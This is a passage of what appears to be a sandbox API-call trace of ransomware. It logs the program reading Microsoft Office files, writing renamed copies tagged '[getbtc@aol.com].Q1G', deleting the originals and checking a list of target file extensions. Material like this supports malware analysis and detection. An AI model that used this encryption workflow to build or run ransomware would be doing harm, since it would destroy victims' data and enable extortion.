lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0248.285] CloseHandle (hObject=0x200) returned 1 [0248.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 0x20 [0248.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.285] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.285] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.286] GetLastError () returned 0x0 [0248.286] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0248.287] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0248.288] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.288] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0248.288] SetEndOfFile (hFile=0x360) returned 1 [0248.288] CloseHandle (hObject=0x360) returned 1 [0248.288] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.288] SetEndOfFile (hFile=0x200) returned 1 [0248.291] CloseHandle (hObject=0x200) returned 1 [0248.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 1 [0248.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.292] lstrlenW (lpString=".doc") returned 4 [0248.292] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.292] lstrlenW (lpString=".docx") returned 5 [0248.292] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.292] lstrlenW (lpString=".pdf") returned 4 [0248.292] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.292] lstrlenW (lpString=".xls") returned 4 [0248.292] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.292] lstrlenW (lpString=".xlsx") returned 5 [0248.292] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.292] lstrlenW (lpString=".ppt") returned 4 [0248.292] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.292] lstrlenW (lpString=".zip") returned 4 [0248.292] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.292] lstrlenW (lpString=".rar") returned 4 [0248.292] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.292] lstrlenW (lpString=".bz2") returned 4 [0248.292] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.292] lstrlenW (lpString=".7z") returned 3 [0248.292] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".dbf") returned 4 [0248.293] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".1cd") returned 4 [0248.293] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".jpg") returned 4 [0248.293] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".doc") returned 4 [0248.293] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.293] lstrlenW (lpString=".docx") returned 5 [0248.293] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.293] lstrlenW (lpString=".pdf") returned 4 [0248.293] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.293] lstrlenW (lpString=".xls") returned 4 [0248.293] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.293] lstrlenW (lpString=".xlsx") returned 5 [0248.293] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.293] lstrlenW (lpString=".ppt") returned 4 [0248.293] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".zip") returned 4 [0248.293] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.293] lstrlenW (lpString=".rar") returned 4 [0248.293] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.293] lstrlenW (lpString=".bz2") returned 4 [0248.293] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.293] lstrlenW (lpString=".7z") returned 3 [0248.293] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".dbf") returned 4 [0248.293] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.293] lstrlenW (lpString=".1cd") returned 4 [0248.293] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0248.294] lstrlenW (lpString=".jpg") returned 4 [0248.294] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.294] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0248.294] lstrlenW (lpString="EXCEL.HXS") returned 9 [0248.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.294] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=7827686) returned 1 [0248.294] CloseHandle (hObject=0x200) returned 1 [0248.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0x20 [0248.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.551] lstrlenW (lpString=".doc") returned 4 [0248.551] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0248.551] lstrlenW (lpString=".docx") returned 5 [0248.551] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0248.551] lstrlenW (lpString=".pdf") returned 4 [0248.551] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0248.551] lstrlenW (lpString=".xls") returned 4 [0248.551] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0248.551] lstrlenW (lpString=".xlsx") returned 5 [0248.551] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0248.551] lstrlenW (lpString=".ppt") returned 4 [0248.551] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.551] lstrlenW (lpString=".zip") returned 4 [0248.551] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0248.551] lstrlenW (lpString=".rar") returned 4 [0248.551] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0248.551] lstrlenW (lpString=".bz2") returned 4 [0248.551] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0248.551] lstrlenW (lpString=".7z") returned 3 [0248.551] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.551] lstrlenW (lpString=".dbf") returned 4 [0248.551] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.551] lstrlenW (lpString=".1cd") returned 4 [0248.551] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.551] lstrlenW (lpString=".jpg") returned 4 [0248.551] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.552] lstrlenW (lpString=".doc") returned 4 [0248.552] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0248.552] lstrlenW (lpString=".docx") returned 5 [0248.552] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0248.552] lstrlenW (lpString=".pdf") returned 4 [0248.552] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0248.552] lstrlenW (lpString=".xls") returned 4 [0248.552] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0248.552] lstrlenW (lpString=".xlsx") returned 5 [0248.552] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0248.552] lstrlenW (lpString=".ppt") returned 4 [0248.552] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0248.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.552] lstrlenW (lpString=".zip") returned 4 [0248.552] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0248.552] lstrlenW (lpString=".rar") returned 4 [0248.552] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0248.552] lstrlenW (lpString=".bz2") returned 4 [0248.552] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0248.552] lstrlenW (lpString=".7z") returned 3 [0248.552] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0248.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.552] lstrlenW (lpString=".dbf") returned 4 [0248.552] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0248.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.552] lstrlenW (lpString=".1cd") returned 4 [0248.552] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0248.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0248.552] lstrlenW (lpString=".jpg") returned 4 [0248.552] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0248.552] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0248.552] lstrlenW (lpString="GANTT.VRD") returned 9 [0248.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.560] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2043) returned 1 [0248.560] CloseHandle (hObject=0x3c0) returned 1 [0248.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 0x20 [0248.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.567] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.567] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.568] GetLastError () returned 0x0 [0248.568] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x7fb, lpOverlapped=0x0) returned 1 [0248.570] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x800, lpOverlapped=0x0) returned 1 [0248.570] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.570] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0248.571] SetEndOfFile (hFile=0x200) returned 1 [0248.571] CloseHandle (hObject=0x200) returned 1 [0248.571] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.571] SetEndOfFile (hFile=0x3c0) returned 1 [0248.573] CloseHandle (hObject=0x3c0) returned 1 [0248.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 1 [0248.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.573] lstrlenW (lpString=".doc") returned 4 [0248.573] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.573] lstrlenW (lpString=".docx") returned 5 [0248.574] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0248.574] lstrlenW (lpString=".pdf") returned 4 [0248.574] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString=".xls") returned 4 [0248.574] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.574] lstrlenW (lpString=".xlsx") returned 5 [0248.574] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0248.574] lstrlenW (lpString=".ppt") returned 4 [0248.574] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.574] lstrlenW (lpString=".zip") returned 4 [0248.574] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.574] lstrlenW (lpString=".rar") returned 4 [0248.574] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString=".bz2") returned 4 [0248.574] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString=".7z") returned 3 [0248.574] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.574] lstrlenW (lpString=".dbf") returned 4 [0248.574] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.574] lstrlenW (lpString=".1cd") returned 4 [0248.574] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.574] lstrlenW (lpString=".jpg") returned 4 [0248.574] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.574] lstrlenW (lpString=".doc") returned 4 [0248.574] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString=".docx") returned 5 [0248.574] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0248.574] lstrlenW (lpString=".pdf") returned 4 [0248.574] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.574] lstrlenW (lpString=".xls") returned 4 [0248.574] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.575] lstrlenW (lpString=".xlsx") returned 5 [0248.575] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0248.575] lstrlenW (lpString=".ppt") returned 4 [0248.575] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.575] lstrlenW (lpString=".zip") returned 4 [0248.575] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.575] lstrlenW (lpString=".rar") returned 4 [0248.575] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.575] lstrlenW (lpString=".bz2") returned 4 [0248.575] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.575] lstrlenW (lpString=".7z") returned 3 [0248.575] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.575] lstrlenW (lpString=".dbf") returned 4 [0248.575] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.575] lstrlenW (lpString=".1cd") returned 4 [0248.575] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0248.575] lstrlenW (lpString=".jpg") returned 4 [0248.575] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.575] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0248.575] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0248.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.576] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=621) returned 1 [0248.576] CloseHandle (hObject=0x3c0) returned 1 [0248.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 0x20 [0248.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.577] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.577] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.577] GetLastError () returned 0x0 [0248.578] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x26d, lpOverlapped=0x0) returned 1 [0248.579] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x270, lpOverlapped=0x0) returned 1 [0248.580] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.580] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0248.580] SetEndOfFile (hFile=0x200) returned 1 [0248.589] CloseHandle (hObject=0x200) returned 1 [0248.589] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.589] SetEndOfFile (hFile=0x3c0) returned 1 [0248.591] CloseHandle (hObject=0x3c0) returned 1 [0248.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 1 [0248.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.603] lstrlenW (lpString=".doc") returned 4 [0248.603] 